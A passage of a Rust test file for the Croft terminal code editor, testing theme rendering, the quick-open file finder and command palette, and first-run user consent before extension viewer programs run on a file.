    // one-cell gap above the status bar instead of hugging the bottom row,
    // so the bar reads as vertically balanced rather than bottom-heavy.
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.activity.set_images(dummy_activity_images());
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let explorer = app.sidebar_areas.explorer_icon;
    let gear = app.sidebar_areas.settings_icon;
    assert!(gear.width > 0, "gear must lay out on a tall bar");
    // The activity bar spans every row except the single status-bar row.
    let bar_bottom = app.last_frame_area.height - 1 - 1;
    let top_inset = explorer.y - app.last_frame_area.y;
    let bottom_inset = bar_bottom - (gear.y + gear.height - 1);
    assert_eq!(
        bottom_inset, top_inset,
        "the gap below the gear must equal the gap above the first view icon"
    );
}

#[test]
fn clicking_the_gear_opens_the_color_theme_menu_then_the_picker() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.overlays.activity.set_images(dummy_activity_images());
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|f| app.render(f)).unwrap();
    let gear = app.sidebar_areas.settings_icon;
    app.handle_mouse(crossterm::event::MouseEvent {
        kind: crossterm::event::MouseEventKind::Down(MouseButton::Left),
        column: gear.x,
        row: gear.y,
        modifiers: KeyModifiers::NONE,
    });
    let menu = app.context_menu.as_ref().expect("gear opens a menu");
    assert!(
        matches!(
            menu.items.as_slice(),
            [
                MenuEntry::Item {
                    action: MenuAction::OpenThemePicker,
                    ..
                },
                MenuEntry::Item {
                    action: MenuAction::OpenCustomizeLayout,
                    ..
                }
            ]
        ),
        "the gear menu holds Color Theme then Customize Layout"
    );
    // Selecting Color Theme replaces the menu with the theme picker.
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    let picker = app.context_menu.as_ref().expect("picker opens");
    assert_eq!(picker.items.len(), crate::theme::Theme::all().len());
    assert!(
        picker
            .items
            .iter()
            .all(|e| matches!(e.action(), Some(MenuAction::SetTheme(_)))),
        "every picker row switches a theme"
    );
}

#[test]
fn applying_a_theme_switches_the_active_theme_and_arms_a_repaint() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    assert_eq!(
        app.theme,
        crate::theme::Theme::BLACK,
        "fresh install defaults to the black theme"
    );
    app.apply_theme(crate::theme::Theme::DARK_BLUE);
    assert_eq!(app.theme, crate::theme::Theme::DARK_BLUE);
    // A theme switch arms a one-shot clear so iTerm2 evicts the stale-bg
    // image layer and the whole screen repaints on the new background.
    assert!(app.consume_activity_image_clear());
}

#[test]
fn shortcuts_modal_scrolls_down_then_back_to_top_via_keys() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::F(1), KeyModifiers::NONE))
        .unwrap();
    let modal = app.shortcuts_modal.as_mut().unwrap();
    modal.last_inner_height = 5;
    modal.last_content_height = 50;
    app.handle_key(key(KeyCode::PageDown, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.shortcuts_modal.as_ref().unwrap().scroll, 10);
    app.handle_key(key(KeyCode::Home, KeyModifiers::NONE))
        .unwrap();
    assert_eq!(app.shortcuts_modal.as_ref().unwrap().scroll, 0);
}

#[test]
fn cmd_p_opens_the_file_finder_modal_for_quick_open() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    assert!(
        app.file_finder.is_some(),
        "Cmd+P must open the Quick Open file finder modal so the user can type a name and jump to a file the way VS Code does"
    );
}

#[test]
fn ctrl_p_opens_the_file_finder_modal_on_systems_without_super() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::CONTROL))
        .unwrap();
    assert!(
        app.file_finder.is_some(),
        "Ctrl+P must also open the Quick Open finder so the chord works on Linux / iTerm2 sessions that report CONTROL rather than SUPER"
    );
}

#[test]
fn plain_p_keystroke_does_not_open_the_file_finder() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.file_finder.is_none(),
        "an unmodified 'p' must reach the editor / tree typeahead and never trigger the modal"
    );
}

#[test]
fn esc_closes_the_file_finder_modal() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Esc, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.file_finder.is_none(),
        "Esc must dismiss the file finder"
    );
}

/// Issue #207: the light theme must recolor the HOST terminal too. The
/// portable OSC 10/11 pair carries the theme's fg/bg to Ghostty and every
/// other host (iTerm2 additionally gets its sRGB override), and the
/// panic/exit restore must hand the user's own colors back.
#[test]
fn host_dynamic_colors_follow_the_theme() {
    let light = crate::theme::Theme::from_id("light");
    let seq = super::host_colors_seq(light);
    assert!(
        seq.contains("\x1b]11;rgb:ff/ff/ff"),
        "light background must reach the host via OSC 11"
    );
    assert!(
        seq.contains("\x1b]10;rgb:3b/3b/3b"),
        "light foreground must reach the host via OSC 10"
    );
    let black = super::host_colors_seq(crate::theme::Theme::BLACK);
    assert!(black.contains("\x1b]11;rgb:00/00/00"));
    assert!(
        String::from_utf8_lossy(super::TERMINAL_RESTORE_SEQ).contains("\x1b]110\x07\x1b]111\x07"),
        "the panic/exit restore must reset the host's own colors"
    );
}

/// Issue #207: under Croft Light the quick-input popups must paint light
/// chrome, not the historical hardcoded dark constants. Renders the Cmd+P
/// finder under both a dark theme and the light theme and inspects actual
/// buffer cells: dark stays byte-identical to the legacy palette, light
/// lands on the VS Code Light Modern quick-input fill with dark text.
#[test]
fn quick_open_popup_follows_the_light_theme() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    std::fs::write(tmp.path().join("beta.rs"), "").unwrap();
    for (theme, want_bg, dark_text) in [
        (
            crate::theme::Theme::DARK_BLUE,
            ratatui::style::Color::Rgb(0x16, 0x18, 0x1f),
            false,
        ),
        (
            crate::theme::Theme::from_id("light"),
            ratatui::style::Color::Rgb(0xf8, 0xf8, 0xf8),
            true,
        ),
    ] {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.apply_theme(theme);
        app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
            .unwrap();
        let backend = ratatui::backend::TestBackend::new(120, 40);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|frame| app.render(frame)).unwrap();
        let finder = app.file_finder.as_ref().unwrap();
        // Probe the SECOND result row: the first wears the selection fill,
        // the second the plain popup body.
        let (x, y) = (finder.last_rect.x + 4, finder.last_rect.y + 4);
        let cell = &term.backend().buffer()[(x, y)];
        assert_eq!(
            cell.bg,
            want_bg,
            "{}: the finder body must wear the theme's popup fill",
            theme.id()
        );
        if dark_text {
            let ratatui::style::Color::Rgb(r, g, b) = cell.fg else {
                panic!("light finder text must be an Rgb color, got {:?}", cell.fg)
            };
            let luma = 0.299 * f32::from(r) + 0.587 * f32::from(g) + 0.114 * f32::from(b);
            assert!(
                luma < 128.0,
                "light finder text must be dark on the white popup, got {:?}",
                cell.fg
            );
        }
    }
}

/// Issue #225: the selected activity-bar icon must stay visible on the light
/// theme, and stay distinguishable from the unselected ones. Renders the bar
/// (glyph fallback path) under Croft Light and reads the real cells: the
/// selected Explorer glyph carries VS Code's `activityBar.foreground`, an
/// unselected glyph the lighter `inactiveForeground`, and neither is the bar
/// background.
#[test]
fn the_selected_activity_icon_is_visible_on_the_light_theme() {
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let light = crate::theme::Theme::from_id("light");
    app.apply_theme(light);
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let buf = term.backend().buffer();
    let cell_of = |glyph: char| {
        (0..40u16)
            .flat_map(|y| (0..4u16).map(move |x| (x, y)))
            .find(|&(x, y)| buf[(x, y)].symbol() == glyph.to_string())
            .map(|(x, y)| buf[(x, y)].clone())
            .unwrap_or_else(|| panic!("the activity bar must paint {glyph:?}"))
    };
    // Explorer is the sidebar view every workspace opens on, so it is the
    // selected icon here; Search is not.
    let selected = cell_of(crate::icons::ACTIVITY_EXPLORER);
    let resting = cell_of(crate::icons::ACTIVITY_SEARCH);
    assert_eq!(
        selected.fg,
        light.activity_icon_active(),
        "the selected icon wears activityBar.foreground, not the white that vanishes on a light bar"
    );
    assert_eq!(resting.fg, light.activity_icon_inactive());
    assert_ne!(
        selected.fg, resting.fg,
        "selection must be readable from the icon itself, not only from the pill"
    );
    assert_ne!(
        selected.fg, selected.bg,
        "the selected glyph must not be painted in the bar's own background"
    );
}

/// Issue #217: the Explorer's file names were white-on-white under Croft
/// Light (a bare `Color::White` that bypassed the theme adapter). Render
/// the tree under the light theme and inspect the actual name cell: the
/// text must be dark, and under a dark theme it must stay white.
#[test]
fn explorer_names_are_legible_on_the_light_theme() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    for (theme, want_dark) in [
        (crate::theme::Theme::DARK_BLUE, false),
        (crate::theme::Theme::from_id("light"), true),
    ] {
        let mut app = App::new(tmp.path().to_path_buf()).unwrap();
        app.apply_theme(theme);
        let backend = ratatui::backend::TestBackend::new(120, 40);
        let mut term = ratatui::Terminal::new(backend).unwrap();
        term.draw(|frame| app.render(frame)).unwrap();
        // Find the cell where "alpha.rs" is painted in the tree column.
        let buf = term.backend().buffer();
        let mut found = None;
        'rows: for y in 0..40u16 {
            for x in 0..40u16 {
                if buf[(x, y)].symbol() == "a"
                    && buf[(x + 1, y)].symbol() == "l"
                    && buf[(x + 2, y)].symbol() == "p"
                    && buf[(x + 3, y)].symbol() == "h"
                {
                    found = Some((x, y));
                    break 'rows;
                }
            }
        }
        let (x, y) = found.expect("alpha.rs must be visible in the Explorer");
        let fg = buf[(x, y)].fg;
        if want_dark {
            let ratatui::style::Color::Rgb(r, g, b) = fg else {
                panic!("light tree names must resolve to Rgb, got {fg:?}")
            };
            let luma = 0.299 * f32::from(r) + 0.587 * f32::from(g) + 0.114 * f32::from(b);
            assert!(luma < 128.0, "tree name must be dark on white, got {fg:?}");
        } else {
            assert_eq!(
                fg,
                ratatui::style::Color::White,
                "dark themes keep the historical white tree names"
            );
        }
    }
}

/// Issue #205: Cmd+P search results must be mouse clickable. A left click on
/// a result row confirms that row (the way VS Code's quick-pick behaves):
/// it opens the clicked file, not the keyboard-selected one, and dismisses
/// the finder.
#[test]
fn clicking_a_file_finder_row_opens_that_file() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    std::fs::write(tmp.path().join("beta.rs"), "").unwrap();
    std::fs::write(tmp.path().join("gamma.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let finder = app.file_finder.as_ref().unwrap();
    assert!(
        finder.results.len() >= 3,
        "the three seeded files must all be indexed"
    );
    // The list body starts three rows below the popup top (border, prompt,
    // separator). Row 1 of the list is the SECOND result - clicking it must
    // open that entry, not the keyboard selection parked on row 0.
    let col = finder.last_rect.x + 4;
    let row = finder.last_rect.y + 3 + 1;
    let expected = finder.results[1].entry.path.clone();
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.file_finder.is_none(),
        "a click on a result row must confirm the pick and dismiss the finder"
    );
    assert_eq!(
        app.editor.path.as_deref(),
        Some(expected.as_path()),
        "the clicked row's file must be the one that opens"
    );
}

/// A click inside the popup but off the result rows (the query prompt line)
/// must neither open a file nor dismiss the finder - only clicks OUTSIDE the
/// popup close it, and only clicks ON a row confirm it.
#[test]
fn clicking_the_file_finder_prompt_line_is_inert() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let finder = app.file_finder.as_ref().unwrap();
    let col = finder.last_rect.x + 4;
    let prompt_row = finder.last_rect.y + 1;
    app.handle_mouse(mouse(
        MouseEventKind::Down(MouseButton::Left),
        col,
        prompt_row,
    ));
    assert!(
        app.file_finder.is_some(),
        "a click on the query line must not dismiss the finder"
    );
    assert_eq!(
        app.editor.path, None,
        "a click on the query line must not open anything"
    );
}

/// A click on an empty list row (inside the popup, below the last result)
/// maps to no result and must be inert rather than opening some file or
/// closing the popup.
#[test]
fn clicking_below_the_last_file_finder_result_is_inert() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let finder = app.file_finder.as_ref().unwrap();
    let results = finder.results.len();
    let col = finder.last_rect.x + 4;
    // One row past the last result, still inside the popup body.
    let row = finder.last_rect.y + 3 + results as u16;
    assert!(
        row < finder.last_rect.y + finder.last_rect.height - 1,
        "the empty row must land inside the popup for this test to mean anything"
    );
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.file_finder.is_some(),
        "a click on an empty list row must not dismiss the finder"
    );
    assert_eq!(
        app.editor.path, None,
        "a click on an empty list row must not open anything"
    );
}

/// The command palette shares the quick-pick anatomy, so its rows must be
/// clickable too: a left click on a result row runs that command and
/// dismisses the palette.
#[test]
fn clicking_a_command_palette_row_runs_that_command() {
    use crossterm::event::{MouseButton, MouseEventKind};
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(
        KeyCode::Char('p'),
        KeyModifiers::SUPER | KeyModifiers::SHIFT,
    ))
    .unwrap();
    assert!(
        app.command_palette.is_some(),
        "Cmd+Shift+P must open the palette"
    );
    for c in "keyboard shortcuts reference".chars() {
        app.handle_key(key(KeyCode::Char(c), KeyModifiers::NONE))
            .unwrap();
    }
    let backend = ratatui::backend::TestBackend::new(120, 40);
    let mut term = ratatui::Terminal::new(backend).unwrap();
    term.draw(|frame| app.render(frame)).unwrap();
    let palette = app.command_palette.as_ref().unwrap();
    assert!(
        !palette.results.is_empty(),
        "the query must keep the Help: Keyboard Shortcuts Reference command"
    );
    let col = palette.last_rect.x + 4;
    let row = palette.last_rect.y + 3;
    app.handle_mouse(mouse(MouseEventKind::Down(MouseButton::Left), col, row));
    assert!(
        app.command_palette.is_none(),
        "a click on a palette row must run the command and dismiss the palette"
    );
    assert!(
        app.shortcuts_modal.is_some(),
        "the clicked command (Help: Keyboard Shortcuts Reference) must actually run"
    );
}

#[test]
fn typing_in_file_finder_fuzzy_filters_the_result_list() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "").unwrap();
    std::fs::create_dir(tmp.path().join("sub")).unwrap();
    std::fs::write(tmp.path().join("sub").join("beta.rs"), "").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('b'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Char('e'), KeyModifiers::NONE))
        .unwrap();
    let finder = app
        .file_finder
        .as_ref()
        .expect("finder must still be open while typing");
    let names: Vec<String> = finder
        .visible_results()
        .iter()
        .map(|r| r.entry.rel.clone())
        .collect();
    assert!(
        names.iter().any(|n| n == "sub/beta.rs"),
        "typing 'be' must keep sub/beta.rs in the result list — got {names:?}"
    );
    assert!(
        !names.iter().any(|n| n == "alpha.rs"),
        "typing 'be' must drop alpha.rs because 'be' is not a subsequence of 'alpha.rs' — got {names:?}"
    );
}

#[test]
fn enter_in_file_finder_opens_the_selected_file_and_closes_the_modal() {
    let tmp = tempfile::tempdir().unwrap();
    std::fs::write(tmp.path().join("alpha.rs"), "fn main() {}").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.handle_key(key(KeyCode::Char('p'), KeyModifiers::SUPER))
        .unwrap();
    app.handle_key(key(KeyCode::Char('a'), KeyModifiers::NONE))
        .unwrap();
    app.handle_key(key(KeyCode::Enter, KeyModifiers::NONE))
        .unwrap();
    assert!(
        app.file_finder.is_none(),
        "Enter must close the modal after opening the file"
    );
    let opened = app
        .editor
        .path
        .as_ref()
        .expect("the active tab must now have a path");
    assert_eq!(
        opened.file_name().and_then(|n| n.to_str()),
        Some("alpha.rs"),
        "Enter must open the highlighted entry (alpha.rs) into the active editor tab"
    );
}

/// #465: a viewer runs the declared program on the file in a pane of its own,
/// with `{file}` replaced by the file's path, and the pane takes focus. The
/// program here is `sh`, so nothing has to be installed for the test.
#[test]
fn opening_a_file_in_a_viewer_runs_the_tool_on_it_in_a_new_terminal_pane() {
    let tmp = tempfile::tempdir().unwrap();
    let data = tmp.path().join("data.csv");
    std::fs::write(&data, "a,b\n1,2\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.consented_extensions.insert("csvlens".into());
    let before = app.terminals.len();
    let viewer = crate::mcp::registry::ContributedViewer {
        ext_id: "csvlens".into(),
        id: "csvlens".into(),
        label: "Open in csvlens".into(),
        command: "/bin/sh".into(),
        args: vec![
            "-c".into(),
            "echo VIEWING \"$1\"; sleep 30".into(),
            "sh".into(),
            "{file}".into(),
        ],
        extensions: vec!["csv".into()],
        provision: None,
    };
    app.open_in_viewer(&viewer, &data);
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "the viewer gets a pane of its own"
    );
    assert!(app.show_terminal, "the panel is shown");
    assert!(
        matches!(app.focus, Pane::Terminal),
        "and the pane takes focus"
    );
    let want = format!("VIEWING {}", data.display());
    crate::test_budget::await_spawned(
        std::time::Duration::from_millis(500),
        "the viewer to print the file it was handed",
        || app.terminal().visible_text().contains(&want),
    );
}

/// A file name that is not valid UTF-8 must not be handed to the viewer
/// mangled (#485 review): the tool would open a different path and fail.
/// Until the pane spawn can carry OS-native arguments, such a file is
/// refused with a status line rather than opened wrong.
#[cfg(unix)]
#[test]
fn a_viewer_refuses_a_path_it_cannot_pass_faithfully() {
    use std::os::unix::ffi::OsStrExt;
    let tmp = tempfile::tempdir().unwrap();
    // The file is deliberately not created: APFS refuses such a name, and
    // the guard fires before the viewer path touches the disk anyway.
    let odd = tmp
        .path()
        .join(std::ffi::OsStr::from_bytes(b"d\xffata.csv"));
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let viewer = crate::mcp::registry::ContributedViewer {
        ext_id: "csvlens".into(),
        id: "csvlens".into(),
        label: "Open in csvlens".into(),
        command: "/bin/sh".into(),
        args: vec!["-c".into(), "sleep 30".into(), "sh".into(), "{file}".into()],
        extensions: vec!["csv".into()],
        provision: None,
    };
    let before = app.terminals.len();
    app.open_in_viewer(&viewer, &odd);
    assert_eq!(
        app.terminals.len(),
        before,
        "no pane is spawned for a path that cannot be passed"
    );
    assert!(
        app.status.contains("not valid UTF-8"),
        "the status says why: {:?}",
        app.status
    );
}

/// A viewer spawns a program from a manifest, so it passes the same
/// first-run consent gate a sidecar does (#485 review): the first use of an
/// extension's viewer shows the exact command line and spawns nothing until
/// the user allows it; a consented extension runs straight away.
#[test]
fn a_viewer_asks_for_consent_before_its_first_run() {
    let tmp = tempfile::tempdir().unwrap();
    let data = tmp.path().join("data.csv");
    std::fs::write(&data, "a,b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    let viewer = crate::mcp::registry::ContributedViewer {
        ext_id: format!("consent-test-{}", std::process::id()),
        id: "csvlens".into(),
        label: "Open in csvlens".into(),
        command: "/bin/sh".into(),
        args: vec!["-c".into(), "sleep 30".into(), "sh".into(), "{file}".into()],
        extensions: vec!["csv".into()],
        provision: None,
    };
    let before = app.terminals.len();
    app.open_in_viewer(&viewer, &data);
    assert_eq!(app.terminals.len(), before, "nothing spawns before consent");
    let prompt = app
        .input_prompt
        .as_ref()
        .expect("the consent prompt is open");
    assert!(
        prompt.title.contains(&viewer.ext_id) && prompt.title.contains("/bin/sh"),
        "the prompt names the extension and the exact command: {:?}",
        prompt.title
    );
}

/// A scratch config dir holding the given user extension manifests
/// (`<id>` → manifest text). An app pointed at it (`app.config_dir`) reads
/// its extensions and consent from there and nowhere else; the process
/// environment is never touched, so the test is safe beside every other.
fn scratch_config(manifests: &[(&str, &str)]) -> (tempfile::TempDir, PathBuf) {
    let tmp = tempfile::tempdir().unwrap();
    let croft = tmp.path().join("croft");
    for (id, text) in manifests {
        let dir = croft.join("extensions").join(id);
        std::fs::create_dir_all(&dir).unwrap();
        std::fs::write(dir.join("extension.toml"), text).unwrap();
    }
    (tmp, croft)
}

/// The consent set recorded in a scratch config dir.
fn consent_on_disk(croft: &Path) -> std::collections::BTreeSet<String> {
    crate::prefs::Prefs::load(&croft.join("config.json"))
        .unwrap_or_default()
        .mcp_consented
}

/// One consent per extension, read from one place (#485 review): the sidecar
/// gate consults the same session set the viewer gate does, so allowing an
/// extension through either gate satisfies the other in the same session,
/// whatever became of the prefs write. And a prefs write that fails is
/// reported before the command's own argument prompt takes the screen.
#[test]
fn the_sidecar_gate_reads_the_session_consent_set() {
    use crate::widgets::input_prompt::InputPurpose;
    const EXT: &str = r#"
id = "tconsent"
name = "tconsent"
api_version = 1
[[mcp_servers]]
id = "srv"
command = "/bin/false"
[[commands]]
id = "tconsent.go"
title = "tconsent: go"
server = "srv"
tool = "go"
arg = "q"
prompt = "Query"
"#;
    let (_scratch, croft) = scratch_config(&[("tconsent", EXT)]);
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.config_dir = croft.clone();
    app.consented_extensions = consent_on_disk(&croft);
    // Allowed this session, not (yet) on disk: the gate must not re-prompt,
    // it must move on to the command's own argument prompt.
    app.consented_extensions.insert("tconsent".into());
    app.run_extension_command("tconsent.go");
    assert!(
        matches!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(InputPurpose::McpArg { .. })
        ),
        "a consented extension goes straight to its argument prompt, not consent: {:?}",
        app.input_prompt.as_ref().map(|p| p.title.clone())
    );
    // Allowing through the sidecar prompt with the prefs file unwritable: the
    // failure is reported where the user can see it and the grant holds.
    app.close_input_prompt();
    app.consented_extensions.remove("tconsent");
    std::fs::create_dir_all(croft.join("config.json")).unwrap();
    app.run_extension_command("tconsent.go");
    assert!(
        matches!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(InputPurpose::McpConsent { .. })
        ),
        "fixture: an unconsented extension is asked first"
    );
    app.submit_input_prompt();
    assert!(
        app.status.contains("could not be saved"),
        "a failed prefs write is reported: {:?}",
        app.status
    );
    assert!(
        matches!(
            app.input_prompt.as_ref().map(|p| &p.purpose),
            Some(InputPurpose::McpArg { .. })
        ),
        "and the command went on to its argument prompt"
    );
    assert!(
        app.consented_extensions.contains("tconsent"),
        "the session grant holds"
    );
}

/// Allowing a viewer records the consent and resumes the open that asked;
/// a prefs write that fails is said in the status rather than swallowed.
#[test]
fn allowing_a_viewer_records_consent_and_resumes_the_open() {
    const EXT: &str = r#"
id = "tviewer"
name = "tviewer"
api_version = 1
[[viewers]]
id = "sh"
label = "Open in sh"
command = "/bin/sh"
args = ["-c", "sleep 30", "sh", "{file}"]
extensions = ["csv"]
"#;
    let (_scratch, croft) = scratch_config(&[("tviewer", EXT)]);
    let tmp = tempfile::tempdir().unwrap();
    let data = tmp.path().join("data.csv");
    std::fs::write(&data, "a,b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.config_dir = croft.clone();
    app.consented_extensions = consent_on_disk(&croft);
    let viewer = crate::mcp::registry::viewer_by_id_in_dir(&croft, "tviewer/sh")
        .expect("the scratch viewer");
    let before = app.terminals.len();
    app.open_in_viewer(&viewer, &data);
    assert!(
        app.input_prompt.is_some(),
        "fixture: consent is asked first"
    );
    app.submit_input_prompt();
    assert_eq!(app.terminals.len(), before + 1, "allowing resumes the open");
    assert!(
        app.consented_extensions.contains("tviewer"),
        "and records the consent"
    );
    let saved = consent_on_disk(&croft);
    assert!(saved.contains("tviewer"), "on disk too: {saved:?}");
    assert!(
        !app.status.contains("could not be saved"),
        "a successful save is not reported as a failure: {:?}",
        app.status
    );
    // Now with the prefs file made unwritable (a directory in its place):
    // the consent still holds for the session and the status says the save
    // failed, instead of the failure vanishing.
    app.consented_extensions.remove("tviewer");
    let _ = std::fs::remove_file(croft.join("config.json"));
    std::fs::create_dir_all(croft.join("config.json")).unwrap();
    app.open_in_viewer(&viewer, &data);
    app.submit_input_prompt();
    assert!(
        app.status.contains("could not be saved"),
        "a failed prefs write is reported: {:?}",
        app.status
    );
    assert!(
        app.consented_extensions.contains("tviewer"),
        "the session grant still holds"
    );
}

/// The Explorer row and the palette row for a viewer are built from the
/// same config dir the click resolves them through: a viewer installed only
/// under the app's dir gets its row, and the row opens.
#[test]
fn a_viewer_row_is_built_and_resolved_through_the_same_config_dir() {
    const EXT: &str = r#"
id = "tviewer"
name = "tviewer"
api_version = 1
[[viewers]]
id = "sh"
label = "Open in sh"
command = "/bin/sh"
args = ["-c", "sleep 30", "sh", "{file}"]
extensions = ["csv"]
"#;
    let (_scratch, croft) = scratch_config(&[("tviewer", EXT)]);
    let tmp = tempfile::tempdir().unwrap();
    let csv = tmp.path().join("data.csv");
    std::fs::write(&csv, "a,b\n").unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.config_dir = croft.clone();
    app.consented_extensions = consent_on_disk(&croft);
    app.consented_extensions.insert("tviewer".into());
    let n = file_node(&csv);
    let items = build_tree_context_menu_items_in_dir(
        &croft,
        Some(&n),
        tmp.path(),
        std::slice::from_ref(&csv),
        tmp.path(),
        None,
        None,
    );
    let row = items
        .iter()
        .find_map(|(label, a)| match a {
            MenuAction::OpenInViewer(id, p) if p == &csv => Some((label.clone(), id.clone())),
            _ => None,
        })
        .expect("the viewer under the app's config dir gets a row");
    assert_eq!(row, ("Open in sh".to_string(), "tviewer/sh".to_string()));
    let before = app.terminals.len();
    app.dispatch_menu_action(
        MenuAction::OpenInViewer(row.1.clone(), csv.clone()),
        tmp.path().to_path_buf(),
    );
    assert_eq!(
        app.terminals.len(),
        before + 1,
        "and the row resolves and opens"
    );
    let palette_ids: Vec<String> = crate::mcp::registry::contributed_viewer_commands_in_dir(&croft)
        .into_iter()
        .map(|c| c.id)
        .collect();
    assert!(
        palette_ids.iter().any(|id| id == "viewer:tviewer/sh"),
        "the palette row comes from the same dir: {palette_ids:?}"
    );
}

/// Uninstalling an extension forgets its consent, in the session and on
/// disk: a later re-add is a fresh install of a program the user has not
/// approved this time, so the first-run gate asks again. The disabled state
/// it clears lands in the same config file.
#[test]
fn uninstalling_an_extension_forgets_its_consent() {
    let (_scratch, croft) = scratch_config(&[]);
    let tmp = tempfile::tempdir().unwrap();
    let mut app = App::new(tmp.path().to_path_buf()).unwrap();
    app.config_dir = croft.clone();
    app.consented_extensions = consent_on_disk(&croft);
    crate::prefs::save_mcp_consent_in(&croft, "csvlens").unwrap();
    app.consented_extensions.insert("csvlens".into());
    app.disabled_extensions.insert("csvlens".into());
    crate::prefs::save_disabled_extensions_in(&croft, &app.disabled_extensions).unwrap();
    app.perform_extension_uninstall("csvlens");
    let disabled_on_disk = crate::prefs::Prefs::load(&croft.join("config.json"))
        .unwrap_or_default()
        .disabled_extensions;
    assert!(
        !disabled_on_disk.contains("csvlens"),
        "the disabled state is cleared in the app's own config file: {disabled_on_disk:?}"
    );
    assert!(
        app.status.starts_with("Uninstalled"),
        "fixture: the catalog entry uninstalls cleanly: {:?}",
        app.status
    );
    assert!(
        !app.consented_extensions.contains("csvlens"),
        "the session grant is gone"
    );
    let saved = consent_on_disk(&croft);
    assert!(
        !saved.contains("csvlens"),
        "and so is the one on disk: {saved:?}"
    );
}

/// A viewer that is gone by the time its menu row is clicked, or by the time
/// its consent prompt is allowed (the extension was removed in between),
/// must say so rather than do nothing: a silent click reads as a broken
/// menu. Neither path spawns anything or records consent for a viewer it
